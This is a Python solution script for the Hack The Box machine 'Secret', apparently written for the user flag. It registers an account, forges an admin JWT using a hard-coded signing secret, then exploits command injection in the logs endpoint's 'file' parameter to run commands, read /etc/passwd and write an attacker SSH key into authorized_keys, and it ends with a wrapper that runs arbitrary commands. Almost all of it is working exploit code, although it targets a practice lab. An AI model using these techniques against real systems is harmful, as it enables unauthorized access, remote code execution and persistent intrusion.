HTB: Secret user

l.py

import requests
import urllib.parse
import os
import sys

ip0="10.129.173.112"
ip="http://"+ip0+":3000"

name="theadmin2"
email="root3@dasith.works"

# we register a new account with the name 'theadmin2' and the email root3@dasith.works
r= requests.post(ip+"/api/user/register", json={"name":name, "email":email, "password":"test123"})

# we login as this user to get the user JWT token
r= requests.post(ip+"/api/user/login", json={"email":email, "password":"test123"})
jwt_user = r.text

# using https://github.com/ticarpi/jwt_tool we tamper the token to change our name to 'theadmin'
jwt_admin=os.popen('python3 jwt_tool/jwt_tool.py '+jwt_user+' -I -pc name -pv theadmin  -S hs256 -p gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE').read().strip()[3176:-4]

headers = {"auth-token":jwt_admin}

# this tampered token allow give us administator permission
r = requests.get(ip+"/api/priv", headers=headers)

# we can now request the logs endpoint which execute code from a user supplied paramater 'file'
# const getLogs = `git log --oneline ${file}`;
# exec(getLogs, (err , output) =>{
#
# we can trigger a rce easily using ';[our command]'.
r = requests.get(ip+"/api/logs?file=/etc/passwd;id", headers=headers)

# we create a ~/.ssh/ directory
r = requests.get(ip+"/api/logs?file=/etc/passwd;"+urllib.parse.quote_plus('mkdir ~/.ssh/'), headers=headers)

r = requests.get(ip+"/api/logs?file=/etc/passwd;"+urllib.parse.quote_plus('echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDAKWNt/NMxU2bASCehQpkxNAcRqVuyeMpBa2724Gp0Wc8i7CdNOBRoLbrw3Wwyu2LFZFObVtXTGYVt9X2+u9xIXu1kY3/W3MGlUKjT/vcObwmUGSwVxk4ROUHiLyUzaduAOzanHrJAq259jrChZjWBnF1FXro1t2DVY8kxo5s4Q2e41hYt4KxmJtV+z0TB+Se21KvjixhzRbE3yI2CtHov7eYuzj1FI8D7kBJL7eUtRYBwYzKEhzDHTdlDKE/BvTNaNt9XEj4BfyUbVL8RMN2h7234xe0Ku+llaOCVZeuk3UmmZi0JQQp60EdLZByaDh5lOcTYhguFvy0xSUqce8kgLS4dWBBJRg4Dg3ICBpXqc7ThQttetmI98s5juVvVXEv+UhpPFgg6FrXIhMgJkJM/+d1dCfHSpLC3IXpF3ROrf5IB6mCeGqu8G5EyBsM5mJSmpjm4A/O7CDmNUbx0NcW3Oup2iYcXUlNIp3qFcnnE2dqYfnahGCrMPrTo0JwI0eM=">~/.ssh/authorized_keys'), headers=headers)

# the line below allow to execute any command pass in argument ex: python3 l.py id
if len(sys.argv)==2:
    r = requests.get(ip+"/api/logs?file=/etc/passwd;"+urllib.parse.quote_plus(sys.argv[1]), headers=headers)
    print(r.text)